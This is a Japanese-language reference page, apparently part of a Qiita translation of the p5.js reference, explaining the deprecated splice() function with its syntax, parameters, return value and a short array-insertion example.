このページでは[「P5.js 日本語リファレンス」] (https://qiita.com/bit0101/items/91818244dc26c767a0fe) の splice関数を説明します。

## splice() 

### 説明文

**<font color="Red">注意： 非推奨</font>**

splice() は非推奨であり、p5の将来のバージョンでは削除される予定です。代わりにarray.splice() を使用してください。

値または値の配列を既存の配列に挿入します。list パラメータは変更する初期配列を指定し、value パラメータは挿入するデータを定義します。 position パラメータは、データを挿入する配列の位置を指定するインデックス値です。 (配列のインデックス番号は0から始まるため、最初の位置は0、2番目の位置は1というように続きます)

### 構文

splice(list, value, position)

### パラメタ

- list  
Array：変更する配列

- value  
Any：挿入する値

- position  
Number：データを挿入する位置

### 戻り値

Array：リスト

### 例1

```javascript
function setup() {
  let myArray = [0, 1, 2, 3, 4];
  let insArray = ['A',  'B',  'C​​'];
  print(myArray); // [0, 1, 2, 3, 4]
  print(insArray); // ['A',  'B',  'C​​']

  splice(myArray, insArray, 3);
  print(myArray); // [0, 1, 2, 'A', 'B', 'C​​', 3, 4]
}
```

### 著作権

p5.js was created by Lauren McCarthy and is developed by a community of collaborators, with support from the Processing Foundation and NYU ITP. Identity and graphic design by Jerel Johnson.

### ライセンス

Creative Commons(CC BY-NC-SA 4.0) に従います。